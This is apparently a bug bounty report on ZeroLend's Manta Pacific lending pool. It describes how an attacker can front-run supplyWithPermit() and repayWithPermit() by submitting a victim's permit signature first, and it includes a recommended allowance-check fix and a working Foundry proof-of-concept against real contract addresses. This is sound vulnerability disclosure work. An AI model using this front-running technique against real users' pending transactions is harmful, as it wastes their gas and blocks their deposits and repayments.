28938 - [SC - Medium] Attacker can invalidate users supplyWithPermit ...

Submitted on Mar 2nd 2024 at 12:59:17 UTC by @Norah for Boost | ZeroLend

Report ID: #28938

Report type: Smart Contract

Report severity: Medium

Target: https://pacific-explorer.manta.network/address/0x8676e39B5D2f0d6E0d78a4208a0cCBc50504972e

Impacts:

• Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

• Where:

  • [supplyWithPermit()]

  • [repayWithPermit()]

  • (https://pacific-explorer.manta.network/address/0x8676e39B5D2f0d6E0d78a4208a0cCBc50504972e?tab=contract)

• Expected behavior:

  • The supplyWithPermit() and repayWithPermit() functions utilises the permit function so that approve and pull operations can happen in a single transaction instead of two consecutive transactions.

Vulnerability Details

• Attack:

  • ERC20Permit uses the nonces mapping for replay protection. Once a signature is verified and approved, the nonce increases, invalidating the same signature being replayed.

  • supplyWithPermit() expects the holder to sign their tokens and provide the signature in function parameter.

  • When a supplyWithPermit() transaction is in the mempool, an attacker can take this signature, call the permit function on the token themselves.

  • Since this is a valid signature, the token accepts it and increases the nonce.

  • As a result victim transaction will revert, whenever it gets mined becuase the nonce has been already use.

  • Check POC for more detail.

Impact Details

• Attacker can invalidate users supplyWithPermit() and repayWithPermit() transactions.

• While Attacker does not profit from this, it harms users (gas fee and opportunity cost) and protocols reputation.

Recommendation

• In repayWithPermit and supplyWithPermit function, check if it has the approval it needs. If not, then only submit the permit signature.

if (IERC20(address(asset)).allowance(msg.sender,address(this)) < amount) {
           IERC20WithPermit(asset).permit(msg.sender, address(this), amount, deadline, permitV, permitR, permitS);
        }

• Given the fix is simple, I would suggest to implement it as there is also possibility that sophisticated attacker might uses this to delay users repay() transaction and gain advantage.

References

Add any relevant links to documentation or code

Proof of Concept

• Following is POCs demonstrating the attack vector on Manta-Pacific fork in foundry..

• To recreate please enter your RPC, and then run "forge test"

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test,console2} from "forge-std/Test.sol";
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);

    function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s) external;

    function DOMAIN_SEPARATOR() external view returns(bytes32);
    function nonces(address) external view returns(uint256);
}

interface IPool {

  function supplyWithPermit(
    address asset,
    uint256 amount,
    address onBehalfOf,
    uint16 referralCode,
    uint256 deadline,
    uint8 permitV,
    bytes32 permitR,
    bytes32 permitS
  ) external;

}

contract GreifingAttack is Test {

    //RPC URL
    string RPC_URL = ""; //Enter your RPC here

    IPool Pool = IPool(0x2f9bB73a8e98793e26Cb2F6C4ad037BDf1C6B269);
    IERC20 Asset  = IERC20(0x95CeF13441Be50d20cA4558CC0a27B601aC544E5);

    uint256 constant VICTIM_PRIVATE_KEY = 0xCCCC;
    address victim = vm.addr(VICTIM_PRIVATE_KEY);

    bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");

    function setUp() public {

        uint256 ForkId = vm.createFork(RPC_URL);
        vm.selectFork(ForkId);

        deal(address(Asset), victim, 1000 ether);
    }

    function testPermitExploit() public {

         vm.startPrank(victim);

        //the happy path
        //victim adds liquidity with their sign using permit functionality

        uint amount = 1000 ether;
        bytes32 domainSeparator = Asset.DOMAIN_SEPARATOR();

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            VICTIM_PRIVATE_KEY,
            keccak256(
                abi.encodePacked(
                    "\x19\x01",
                    domainSeparator,
                    keccak256(
                        abi.encode(
                            PERMIT_TYPEHASH,
                            victim,
                            address(Pool),
                            amount,
                            Asset.nonces(victim),
                            block.timestamp
                        )
                    )
                )
            )
        );

        uint256 snapshot = vm.snapshot();

        // the victim calls the supplywithPermit function
        // with the signed permit and it succeeds as expected
        Pool.supplyWithPermit(address(Asset),amount,victim,0,block.timestamp,v,r,s);

        vm.revertTo(snapshot);

        //The griefing attack

        //Now, Before the victim's transaction gets accepted
        //the attacker takes the signature and submits it themselves
        uint256 nonceBefore = Asset.nonces(victim);
        Asset.permit(victim, address(Pool), amount, block.timestamp, v, r, s);

        //this ends up increasing the victim nonce
        assertEq(Asset.nonces(victim), nonceBefore + 1);

        //now when victim's transaction will be reverted,
        //because the nonce is already used
        vm.startPrank(victim);
        vm.expectRevert("ERC20Permit: invalid signature");
        Pool.supplyWithPermit(address(Asset),amount,victim,0,block.timestamp,v,r,s);
        vm.stopPrank();
    }

}